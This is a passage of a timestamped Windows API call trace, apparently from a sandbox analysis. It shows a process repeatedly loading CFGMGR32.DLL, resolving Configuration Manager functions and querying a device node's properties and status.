(in: psa=0x20abbaf1e60, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0240.442] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1810, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.442] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1818, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.442] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1820, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.442] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1828, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.442] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1830, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.443] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1838, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.443] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1840, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.444] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0240.444] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c370) returned 1 [0240.445] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.445] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.447] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.448] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.450] malloc (_Size=0x18) returned 0x20abc281a20 [0240.450] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0240.503] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b1eb621, dwHighDateTime=0x1d9eb0c)) [0240.504] SetEvent (hEvent=0x248) returned 1 [0240.508] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.508] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.510] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.511] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.512] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.513] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.513] malloc (_Size=0x18) returned 0x20abc281bc0 [0240.513] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0240.514] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b1eb621, dwHighDateTime=0x1d9eb0c)) [0240.514] SetEvent (hEvent=0x248) returned 1 [0240.521] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.521] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.521] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.522] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.525] malloc (_Size=0x18) returned 0x20abc281be0 [0240.525] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0240.526] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b21208f, dwHighDateTime=0x1d9eb0c)) [0240.526] SetEvent (hEvent=0x248) returned 1 [0240.531] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.531] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.534] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.535] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.536] malloc (_Size=0x18) returned 0x20abc281b20 [0240.536] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0240.537] malloc (_Size=0x48) returned 0x20abc27cb20 [0240.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b237aeb, dwHighDateTime=0x1d9eb0c)) [0240.537] SetEvent (hEvent=0x248) returned 1 [0240.544] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.544] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.671] malloc (_Size=0x18) returned 0x20abc281d00 [0240.672] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0240.676] malloc (_Size=0x48) returned 0x20abc27cb20 [0240.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b38ee6e, dwHighDateTime=0x1d9eb0c)) [0240.676] SetEvent (hEvent=0x248) returned 1 [0240.680] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.680] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.681] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.682] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.682] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.682] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.682] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.682] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.682] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.683] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.684] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.685] malloc (_Size=0x18) returned 0x20abc281d20 [0240.685] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x30, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0240.685] malloc (_Size=0x48) returned 0x20abc27cb20 [0240.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4b38ee6e, dwHighDateTime=0x1d9eb0c)) [0240.686] SetEvent (hEvent=0x248) returned 1 [0240.707] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.707] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.712] malloc (_Size=0x18) returned 0x20abc282060 [0240.712] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x30, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0240.713] malloc (_Size=0x48) returned 0x20abc27cb20 [0240.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4b3db487, dwHighDateTime=0x1d9eb0c)) [0240.713] SetEvent (hEvent=0x248) returned 1 [0240.718] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.718] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.722] GetProcAddress (hModule=0x7ffb1ced0000, 